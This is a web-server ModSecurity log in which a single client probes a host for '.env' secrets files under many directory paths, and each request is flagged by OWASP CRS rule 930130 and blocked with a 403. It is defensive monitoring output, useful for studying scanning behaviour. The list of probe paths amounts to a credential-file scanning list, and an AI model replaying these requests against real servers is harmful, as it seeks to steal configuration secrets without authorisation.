[Thu Feb 26 01:03:25.089316 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /websocket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKgAAAAM&quot;]
[Thu Feb 26 01:03:25.089553 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKgAAAAM&quot;]
[Thu Feb 26 01:03:25.089718 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKgAAAAM&quot;]
[Thu Feb 26 01:03:25.107772 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webroot_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KQAAAAY&quot;]
[Thu Feb 26 01:03:25.107991 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KQAAAAY&quot;]
[Thu Feb 26 01:03:25.108154 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KQAAAAY&quot;]
[Thu Feb 26 01:03:25.112924 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webstatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKwAAAAM&quot;]
[Thu Feb 26 01:03:25.113144 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKwAAAAM&quot;]
[Thu Feb 26 01:03:25.113288 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKwAAAAM&quot;]
[Thu Feb 26 01:03:25.142710 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLAAAAAM&quot;]
[Thu Feb 26 01:03:25.142945 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLAAAAAM&quot;]
[Thu Feb 26 01:03:25.143093 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLAAAAAM&quot;]
[Thu Feb 26 01:03:25.165464 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLQAAAAM&quot;]
[Thu Feb 26 01:03:25.165677 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLQAAAAM&quot;]
[Thu Feb 26 01:03:25.165813 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLQAAAAM&quot;]
[Thu Feb 26 01:03:25.213307 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /whturk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLgAAAAM&quot;]
[Thu Feb 26 01:03:25.213525 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLgAAAAM&quot;]
[Thu Feb 26 01:03:25.213685 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLgAAAAM&quot;]
[Thu Feb 26 01:03:25.244445 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGQAAAAU&quot;]
[Thu Feb 26 01:03:25.244676 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGQAAAAU&quot;]
[Thu Feb 26 01:03:25.244826 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGQAAAAU&quot;]
[Thu Feb 26 01:03:25.247694 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.2.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLwAAAAM&quot;]
[Thu Feb 26 01:03:25.247925 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLwAAAAM&quot;]
[Thu Feb 26 01:03:25.248070 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElLwAAAAM&quot;]
[Thu Feb 26 01:03:25.275881 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /websocket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGgAAAAU&quot;]
[Thu Feb 26 01:03:25.276111 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGgAAAAU&quot;]
[Thu Feb 26 01:03:25.276274 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGgAAAAU&quot;]
[Thu Feb 26 01:03:25.281140 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.3.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMAAAAAM&quot;]
[Thu Feb 26 01:03:25.281369 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMAAAAAM&quot;]
[Thu Feb 26 01:03:25.281519 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMAAAAAM&quot;]
[Thu Feb 26 01:03:25.302903 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMQAAAAM&quot;]
[Thu Feb 26 01:03:25.303132 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMQAAAAM&quot;]
[Thu Feb 26 01:03:25.303287 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMQAAAAM&quot;]
